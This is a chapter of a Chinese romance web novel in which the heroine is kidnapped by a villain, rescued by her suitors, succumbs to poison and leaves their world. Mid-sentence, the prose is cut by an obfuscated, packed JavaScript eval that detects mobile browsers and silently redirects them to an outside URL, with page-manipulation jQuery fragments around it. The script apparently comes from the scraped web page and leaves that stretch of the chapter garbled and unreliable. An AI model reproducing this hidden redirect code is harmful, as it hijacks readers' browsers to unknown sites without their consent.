80. 第 80 章
作品:《被我渣了的前任们[修罗场]》 80暗雀归巢
徐星落也不想在这个关键时刻离开百乐楼,暴露在外边的。
但是她眼看着刚刚四个人的怨气值都要突破危险值,不得不顺从系统给的建议,开始走关键情节。
关键情节一开启,也就意味着,她接下来的场景里,对话和行动都无法受自己本来的意志控制,而是由游戏设定的脚本来执行。
比如,她被迫离开了百乐楼,“大大方方”在街上走。
看这方向,系统像是要她回绸缎庄──
徐星落内心疯狂拒绝,这不是作死行为吗?
那两个从牢里出来的家伙,估计就在等时机把她抓住好好折磨一番。
这时候还回绸缎庄,那简直就是作死行为。愚蠢至极!
虽然徐星落心里骂了这个情节设定八百遍,但手脚还是不听使唤的,被系统控制着往绸缎庄走去。
还没来得及到门口,在附近的小巷,徐星落就听见了后头的脚步声。
──死腿,快跑啊!
危险的气息很快逼近。
后脑勺一阵剧痛,徐星落疼得两眼一昏。
“嗒,嗒,嗒──”
类似于水滴的声音。
又好似人的脚步声。
是葛勉!
被绑在凳子上的徐星落艰难撑开眼帘,四周昏暗潮湿,有种快要窒息的肃杀感。
“咳咳咳──”脖子倏的被男人掐住,徐星落憋红了脸。
“明明实验就差最后一步了,既然,你的妹妹徐欣冉当初没完成,那就由你这个姐姐替她吧。”葛勉慢悠悠地收手,欣赏着她此刻的无助神情。
徐星落咬了咬牙,她的欣冉妹妹,竟是被……
“怎么了?露出这副震惊的模样──我倒是很满意。”葛勉继而捏住了徐星落的下巴,笑得极为张狂。
“咳咳咳……”徐星落被浑浊的空气呛得声不成调。
他幽幽地盯着她,如同垂死挣扎的绿皮困兽,两枚恶心的眼珠子快要弹出来,眼神阴恻恻的,让人脊背直发凉。
“我这招借刀杀人,倒是骗过了所有人。你一直以为,最后杀死你妹妹的,是时云起的手下吧?实际上,没有他,你的妹妹,也活不过第二天,和其她被时云起当晚送出府的姨太们一样,任务失败,失去价值的女人,就该死……”
葛勉嘶哑的嗓音在昏暗的仓库里显得极为阴森可怖,而徐星落在此刻只感受到了无边的恨意。
“是你……一直都是你……”徐星落沉下眼,心中悲痛不已,如若可以,她几乎要将嚣张模样的他给彻底咬碎。
“是我又怎样,你还不是落在我手里了?不仅如此,接下来整个江城的百姓,都要向我跪拜,痛哭流涕求我放过他们全家老小……”葛勉说着,掏出了一枚玻璃瓶,还有一根注射器。
徐星落忽而想起,先前和步迟调查到暗雀阁设立了多处的实验点,如今看来,就是执意和北岛勾结所研发的毒素制剂,专用于人体实验……
很明显,一旦实验成功,江城的战乱一触即发。
得想办法阻止。
必须套话出实验室的位置。
“就算是死,我也要死个明白。”徐星落强作镇定。
“你的遗愿吗?那就满足你。我从来对美人都有几分难得的耐心。”
徐星落集中注意力,将葛勉口里的位置记在了心里。
纵然精明算计如葛勉,却不知道“反派死于话多”这句永恒定律。
“那么,现在闭上眼,这一针,很快就好。”葛勉举起手里的毒素瓶,尽数用注射器抽取完毕,眼中带着几乎失控的癫狂的猩红。
徐星落垂下眼睫,面无表情。
“啪嗒!”
顷刻间,玻璃针剂碎裂在地。
葛勉手腕被踹得生疼。
他捂着折掉的右腕,强忍着剧痛,不可置信的死死瞪着突然出现的易行,忿忿磨牙,“怎么又是你?!”
易行翻了个白眼,很是不屑,“又何止是我。”
“敢碰她,想早点死就直说!”时云起上前一步,活动了下关节,摘下皮质手套,直接抓着葛勉的脑袋往墙上撞。
角落各自暗藏的两处人马现身,当即陷入了一场恶战。
徐星落趁机挣脱束缚,费力地挤出了混乱的人群。
虽然她之前控制不了被系统主宰行动轨迹的双腿,但她在被抓前,趁机动手扯开了腰间浅紫色的精致刺绣囊袋。
沿途抖落了不少上次端暗雀阁残留的朱砂粉末,好在那四个家伙果真不负期望,很快就找到了她。
“抓住她!”被揍得鼻青脸肿的葛勉仍不忘死死盯着不远处的徐星落。
“嘶──”徐星落被人群推搡着摔在地上,手掌有些刺痛。
“小落!”步迟抬腿,三五下踹开葛勉的人,长臂一伸,弯腰将她抱起。
徐星落抬起胳膊,翻过手心,上头嵌入了几粒玻璃渣子。
来不及处理了,五指收拢成拳,抬头,她深吸了一口气,催促:
“步迟,让他们别打了,留口气压到警署处理。”
“嗯,你好好休息。”步迟抱着她的力道不由自主收紧。
闻言,气息微弱本就有些的徐星落眼皮一沉,头一歪,彻底昏倚在了步迟怀里。
“怎么样了?”解决完仓库的家伙,时云起和易行带着剩下的人马,疾步奔向步迟这边。
步迟紧盯着被他们的人手压制住的葛勉和他后头北岛的人,冷声道:“先把人送到警署。”
“嘭!”
“咻──”
仓库外头的天闪现两簇浓郁的烟火,三人纷纷会意,这是风止的信号,他已经按照刚刚徐星落的套话,成功找到了实验室的位置。
时云起点头,紧紧盯着步迟,“我去帮他。你,好生照料她。”
“凭什么,我也要……”易行原是有些不满,但一想到他们三个里面,步迟懂医术,最适合照料昏迷的徐星落。
“哎算了,我盯着后头那个渣滓,确保他好好送到警署。”易行冷哼一声,摆了摆手。
毕竟,明儿便是葛勉执行死刑的日子。
可不能再出岔子了。
徐星落重新睁开眼,已是三天后了。
一只带了些冰凉的手背贴近额头,男子清冷的声音多了几分舒缓,“烧退了。”
徐星落对上了步迟关切的眸子。
“把药喝了。”
徐星落被扶着靠坐在他怀中,望向窗户盛开的红色山茶花,果然,她就知道这里种着这花。
她的嗅觉不会出错。
“怎么样了。”一开口,徐星落被自己虚弱沙哑的嗓音吓了一跳。
“前日葛勉已经被处死了。”虽然死之前他还试图逃脱,不过,被时、易两人合作断了手脚的他在牢狱中已是黔驴技穷,徒劳而已。
步迟舀起汤药,一口一口小心地喂她,时不时还拿着帕子替她擦拭嘴角。
“还真是便宜他了。”比起被他害死的那些无辜性命,真真是轻如鸿毛的死法。徐星落嗤之以鼻。
不仅如此,徐星落还得知了一些新的消息。
因着勾缠一个守卫企图越狱不成,细蕊腹中的孩子被折腾死了,而细蕊自个儿在游街行刑路上,被乱民打死。
原本生的一男一女也混入乱民中,就此下落不明。
徐星落不禁想起,从拐走她和徐欣冉开始,细蕊与暗雀阁携手的这个局,终归还是反噬到了他们自己身上。
至于细蕊那个潜逃的乡下丈夫。
风止在追剿实验室的路上,于山间猎户设的陷阱里发现他。
仵作在给遗体尸检的时候,才知道那家伙被数十道钢钉穿刺而死。
“也算是绑走你的惩罚了。”步迟放下空药碗,再度抱紧了她。
“唔──步迟……”徐星落艰难探头。
“怎么了?”
“要不要合作搞事业?”
步迟浑身一僵,总觉得此刻小落看他的眼神,像是在看一棵摇钱树。
自从徐星落恢复徐家大小姐的身份,绸缎庄的生意也因着她策划的一系列营销活动起死回生。
又因为步迟在老街裁缝铺子的加入,彻底盘活儿。
这一日,徐星落在众多记者的围拢下,开始剪彩新的商铺。
巧儿跟着文洛森教授学习打理新的学校事务好一阵子了,今个儿难得抽出空儿来送开业花篮。
“来来来,往里坐,给你们准备了下午茶点心。”徐星落热情地招待着各界来往的客人。
“哎,小落,你这是……”巧儿端着咖啡杯的手猛的一抖,忍不住惊呼一声。
喉间有些刺痛,徐星落抹了下嘴角,低头,指缝冒着血。
步迟放下展示的成衣,赶忙抱着徐星落进了里屋。
其余座位的三人纷纷起身,冲进后院,试图涌入其中。
“别进来!”徐星落带了些慌乱的声音在关门的一瞬间落下。
“落儿!让娘看看你。”门外传来了徐夫人的哭腔。
里头的步迟忽而拉开门,踱步而出,朝她点头示意。
徐夫人跨过门槛,转身将院中那三人殷切担忧的眼神关在了门外。
“落儿,你这……”
徐星落摇了摇头,脸色煞白。
徐夫人心疼地捏着帕子替她擦着额上的冷汗。
“眼看着一切都要好起来了。你这身子……”徐夫人掩唇,忍不住低声啜泣。
徐星落想起先前那个葛勉摔碎的毒素瓶子,她不禁抬手,掌心还残存着被玻璃渣子刺下的疤痕。
她目光淡淡,勾了勾唇,拉住了徐夫人的手,气若游丝,“娘,扶我起来。”
如今复仇的任务彻底完成,而四人的怨气值数值变低,眼看着快要趋于0,徐星落知道,她离开的日子近了。
那就好好道个别。
放下纸笔,徐星落被徐夫人扶着坐到了梳妆台前。
徐星落无声地盯着时云起送来的清晰无比的西洋镜,满意地看着今日的妆容。
原本失了血色的模样荡然无存。
见状,徐夫人在徐星落身后哭得失了声。
重新拉开门,徐夫人走了出去。
院中三人缠着步迟逼问徐星落的情况。
一听见动静,三人连忙上前将徐夫人围住。
“落儿没事儿,就是近来操劳新店的事务太过辛苦,需要好生休息。”
时云起启唇,“我接落落回去,时宅有私人医生。”
“我也可以安排人……”易行连忙抢话。
风止正要出声,却被徐夫人一个眼神止住。
“步迟,落儿这些天,就麻烦你了。”徐夫人朝不远处的青竹长衫的男子招招手,面上尽力保持平静的微笑。
步迟会意,在三人羡慕又嫉恨的眼神里,从容坦然地拉开了门进屋。
徐夫人盯着剩下三人,“你们几个,替落儿去前头招待客人吧。”
三人闻言,立马拔腿调头抢着奔赴会客厅。
徐星落靠在床边,手里抱着一个锦盒,见到步迟进来,连忙把盒子塞入枕下。
抱着步迟的胳膊,徐星落偏头蹭了蹭,“我好困,陪我歇会儿。”
一觉醒来,竟是入夜了。
徐星落盯着一旁一动不动的步迟,“胳膊麻了吗?”
“没有。”步迟的声音温和,眼中如月皎洁。
徐星落忽而想起那一夜,步迟躺在床边的美人榻上,窗外的月色倾倒在他身上,将他的侧脸照得魄人心扉。
心念所致,徐星落强撑着力气,将他带到了窗边。
“时间真快,快到中秋了。”徐星落望着明亮
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14991475|150122||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的圆月,嘴角噙着淡淡的笑。
步迟捏着她的手腕,感受着她的脉搏,喉结微动,隐忍的“嗯”了一声。
“步迟……”
“嗯?”步迟侧身转过头,俯视着她。
徐星落双手搭在他的肩头,踮脚,仰首,轻轻覆上他的唇。
──抱歉,这一次,我来不及嫁你了。
步迟微怔,颤抖着手,接住了她的后脑勺,加深了这个吻。
夜风淡淡的,裹挟了残余的山茶花香。
唇上的绵密和情意纠缠不清,步迟敛眸,心里却是好一阵失魂痛彻。
他究竟还是,来得太迟了啊……
──
暗雀阁阁主彻底死了,实验室被毁坏,北岛人在多地的攻城计划被毁,纷纷不敌,连夜撤退北上。
百姓们总算可以长舒一口气。
“如今江城一天比一天好,我该走了。”徐星落戴着米色宽大帽檐,手里拎着行李箱,一身浅紫长裙,踩着高跟,站在码头边,冷静地盯着来送行的四人,“我想去看看外头的世界。”
事出突然,除了步迟外,三人眼神交流了一番。
──落落她在江城经历了太多,出去散散心也挺好的。
──只要姐姐开心,我愿意支持她任何举动。
──你们怎么想的?就这么把人放走了?唉,也罢,让她走吧。又不是不回来了。
轮船在这时起了鸣笛声,闸门收起,送行的人群渐渐散开。
“她不会回来了。”步迟站在人群里,冷不丁出声。
他想起昨夜的风,和徐星落在窗边冷月下的吻。
那盈水的眼神里,分明,是带了别离的意味。
其余三人脸色各异。
时云起望着远去的轮渡,海面上的袅袅浓烟,视线收回,淡淡道:“我情愿相信她真的是去留学。”
“瞎说什么呢,她会回来的。”易行晃了晃桃花扇,掩去淡茶色瞳仁的桃花眸里的一抹慌张。
“我会在这里等姐姐回来。”风止转身,背影是难以粉饰的落寞。
──
数月后。
“这个月的信到了吗?”易行兴冲冲赶来,一把拎住邮差的后脖颈。
“不用再等了。”风止合上空荡荡的信箱,漠然转身。
“徐夫人。”时云起站在一旁,平静地叫住了她。
徐夫人抱紧了怀里的锦盒,忐忑地环顾四人审视的目光。
“现在,能告诉我们,她在哪儿了吗?”步迟款款欠身,朝她拱手行礼。
桌上的每一份信封,代表徐星落寄回家的每个月的家书。
而这些,却是在徐星落坐船出去的前一天写的。
徐夫人垂下眼睑,不敢再看四人的表情。
但她知道,这四人,似乎早就料到了落儿不会再回来的真相。
──
“叮咚!”
【风止:“我爱你,但你是自由的。你只管随你心意,追逐风远去。而我会义无反顾地追随你。”】
【易行:“纵然我们身处在不同的时空,你离开我的世界,我们终其一生都无法相见。但我依然不会后悔与你相恋。”】
【步迟:“上天垂悯,让我得以与你再次相见,你不记得从前无妨,我依旧爱你,在每个时刻。”】
【时云起:“在爱你这件事上,我绝不后退。我愿意给你想要的一切,包括,你想要的自由。”】
【检测到关键人物的怨气值降为0,时期三所有卡牌已经收集完毕。正在为您跳转回系统默认空间。】
徐星落坐在空房间里,看着系统传送回来的全息投影画面,忍不住抬手抹了抹眼角的湿濡。
他们清楚记得每一次与她的离别,坦然目送她离开。
而选择遗忘的这段经历的人,从来都只有她自己。
──
江城又恢复了往日的蓬勃生机,古旧的街巷逐渐被一些新兴产业更替,越发的“摩登”。
只是昔日繁盛的百乐楼的一扇屏风后,空寂的光线下,那把座椅已然空无一人,昂贵的雕花桌案一角,仅留了一把桃花扇,染上了时代的尘埃。
一夜之间,百乐楼外,曾经张贴的一位风姓男演员的大幅海报也消失无踪,很快就被新的演员海报所代替。
时宅清散了所有的下人,大门紧闭。江城百姓眼中那座曾经奢华得堪比皇宫的阔宅,就此杂草丛生,日渐荒芜。
老街的裁缝铺子和医馆不知何时被转手了。
那个生得清冷俊朗,善于医术的裁缝先生也不知踪影。
收留孤儿的学堂也被关停,孩子们陆陆续续被人家收养,而后进了洋人开办的正规化集体学校,同年,里头多了位叫做“徐巧儿”的女校长。
“叮叮咚──”
学校下课的钟声响起,楼下的广场有不少的学生追着鸽子喂粮。
热热闹闹的嬉笑叫嚷声透露着极为青春的气息。
“徐校长。你在看什么呢?”
“我忽然想起来两位老朋友,不知道他们现在过得怎么样了。”她的视线所及之处,是一片种满山茶花的院落。
“他们不在江城吗?”
“嗯,兴许,现在已经去了别的地方了。”
“看样子,他们应该是感情很好的伴侣吧。”
“你为什么这样想?”巧儿扭头,有些讶异。
“能种出这满院子的山茶花的人,一定有很深的执念,若不是为伴侣所种,寻常人家则更喜欢种些寻常的蔷薇,月季之类的……”
巧儿愣了下,听这位刚升上来的秘书继续解释。
见状,秘书笑道:“校长,你不知道吗?这茶花的含意,很有意思的。”
“花语是?”巧儿沉吟了会儿,终究还是问出了口。
“你岂敢,轻视我的爱。”